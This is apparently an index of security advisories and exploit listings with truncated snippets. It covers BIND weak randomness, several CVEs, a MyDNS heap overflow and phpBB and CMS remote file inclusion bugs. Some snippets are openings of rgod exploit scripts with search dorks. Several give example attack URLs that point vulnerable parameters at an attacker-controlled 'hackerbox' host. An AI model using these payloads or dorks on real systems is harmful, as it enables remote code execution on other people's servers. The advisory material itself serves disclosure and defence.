BIND: Weak random number generation

Background ISC BIND is the Internet Systems Consortium implementation of the Domain Name System DNS protocol. Description Amit Klein from Trusteer reported that the random number generator of ISC BIND leads, half the time, to predictable 1 chance to 8 query IDs in the resolver routine or in zone...

CVE-2007-2925

CVE-2007-2925 affects ISC BIND 9.4.0/9.4.1 and 9.5.0a1–9.5.0a5 where default ACLs do not enable allow-recursion or allow-query-cache, allowing remote recursion against the cache. Upstream fixes exist (e.g., 9.5.0a6, and related patches for 9.4.x/9.5.x lines). Several advisories note the issue and...

MyDNS远程动态DNS升级拒绝服务漏洞

MyDNS是运行在UNIX系统上的免费DNS服务程序。 MyDNS的src/mydns/update.c文件中updategobblerr函数存在堆溢出漏洞，远程攻击者可能利用此漏洞导致DNS拒绝服务。 如果远程攻击者向有漏洞的服务器提交了恶意查询请求的话，就可能触发这个溢出，导致拒绝服务。成功攻击要求用户拥有升级权限，且在mydns.conf文件中allow-update设置成为yes。 Don Moore MyDNS 1.1.0 临时解决方法： 如果您不能立刻安装补丁或者升级，NSFOCUS建议您采取以下措施以降低威胁： 将allow-update设置为no。 厂商补丁： Don...

Five ways to evade firewall control system-vulnerability warning-the black bar safety net

As Trojan, Backdoor non-stop development, the firewall itself is also in constant development, which is a spear and shield and relationships, know how to escape through the firewall for the control of a system is very important. Due to the firewall of development, today, many firewalls are based ...

Bad IP Allow/Deny checking

PMASA-2006-9 Announcement-ID: PMASA-2006-9 Date: 2006-11-17 Summary Bad IP Allow/Deny checking Description We received a security advisory from Christian Schmidt, Peytz & Co. and we wish to thank him for his work. It was possible to get around IP-based Allow/Deny checking by faking proxy headers...

sendcard_340_xpl.txt

!/usr/bin/php -q -d shortopentag=on php injection\n"; echo " works against magicquotesgpc=Off\n"; echo " 2 - arbitrary remote inclusion\n"; echo " works against allowurlfopen=On\n"; echo " 3 - arbitrary local inclusion\n"; echo " works regardless of php.ini settings\n"; echo " and if you succeed ...

ypserv -- Inoperative access controls in ypserv

Problem Description There are two documented methods of restricting access to NIS maps through ypserv8: through the use of the /var/yp/securenets file, and through the /etc/hosts.allow file. While both mechanisms are implemented in the server, a change in the build process caused the "securenets"...

Blend Portal 1.2.0 - phpBB Mod Remote File Inclusion

Blend Portal 1.2.0 - phpBB Mod Remote File Inclusion Blend Portal ICQ: 10072 MSN/Mail: [email protected] web: www.nukedx.com This exploits works on Blend Portal http://victim/phpBB/blenddata/blendcommon.php?phpbbrootpath=FILE EXAMPLE -...

Activity MOD Plus 1.1.0 - 'phpBB Mod' File Inclusion

phpBB 2.x Activity MOD Plus File Inclusion Vulnerability Contacts ICQ: 10072 MSN/Mail: [email protected] web: www.nukedx.com This exploits works on phpBB 2.x Activity MOD Plus Original advisory can be found at: http://www.nukedx.com/?viewdoc=38 Succesful exploitation needs registerglobals on GET ...

Nucleus CMS 3.22 - 'DIR_LIBS' Remote File Inclusion

!/usr/bin/php -q -d shortopentag=on \r\n"; die; / software site: http://nucl...

sphider_13_xpl_pl.txt

!/usr/bin/perl use IO::Socket; print "\r\nSphider works with registerglobals = On & allowurlfopen = On\r\n"; print "by rgod rgodautisticiorg\r\n"; print "site: http://retrogod.altervista.org\r\n"; print "\r\ndork: "powered by sphider"\r\n"; sub main::urlEncode my $string = @; $string = s/\W/"%"...

Sphider 1.3 - configset.php Remote File Inclusion

Sphider 1.3 - configset.php Remote File Inclusion !/usr/bin/perl use IO::Socket; print "\r\nSphider works with registerglobals = On & allowurlfopen = On\r\n"; print "by rgod rgodautisticiorg\r\n"; print "site: http://retrogod.altervista.org\r\n"; print "\r\ndork: "powered by sphider"\r\n"; sub...

igenus_remote.txt

!/usr/bin/perl use IO::Socket; print "\r\n"; print "iGENUS WebMail works against PHP5 with registerglobals = On\r\n"; print " & allowurlfopen = On\r\n"; print "by rgod rgodautisticiorg\r\n"; print "site: http://retrogod.altervista.org\r\n\r\n"; print "dork: intitle:"igenus webmail login"\r\n";...

CVE-2005-3630

Fedora Directory Server before 10 allows remote attackers to obtain sensitive information, such as the password from adm.conf via an IFRAME element, probably involving an Apache httpd.conf configuration that orders "allow" directives before "deny" directives...

ModernBill <= 4.3.0 Multiple Vulnerabilities

The version of ModernBill installed on the remote host is subject to multiple vulnerabilities : - A Remote File Include Vulnerability The application fails to sanitize the parameter 'DIR' before using it in the script 'news.php'. An attacker can exploit this flaw to browse or execute arbitrary...

PHP mcNews 1.3 - skinfile Remote File Inclusion

PHP mcNews 1.3 - skinfile Remote File Inclusion Example: if registerglobals=on and allowurlfopen=on: http://victim/dir/mcNews/admin/header.php?skinfile=http://hackerbox/ milw0rm.com 2005-03-07...

PHP mcNews 1.3 - 'skinfile' Remote File Inclusion

Example: if registerglobals=on and allowurlfopen=on: http://victim/dir/mcNews/admin/header.php?skinfile=http://hackerbox/ milw0rm.com 2005-03-07...

phpWebLog 0.5.3 - Arbitrary File Inclusion

phpWebLog 0.5.3 - Arbitrary File Inclusion Example: if registerglobals=on and allowurlfopen=on: http://victim/dir/include/init.inc.php?GPATH=http://hackerbox/ http://victim/dir/backend/addons/links/index.php?PATH=http://hackerbox/ milw0rm.com 2005-03-07...

PHP Form Mail 2.3 - Arbitrary File Inclusion

PHP Form Mail 2.3 - Arbitrary File Inclusion Example: if registerglobals=on and allowurlfopen=on: http://victim/dir/inc/formmail.inc.php?scriptroot=http://hackerbox/ milw0rm.com 2005-03-05...

CVE-2004-1653

The default configuration for OpenSSH enables AllowTcpForwarding, which could allow remote authenticated users to perform a port bounce, when configured with an anonymous access program such as AnonCVS...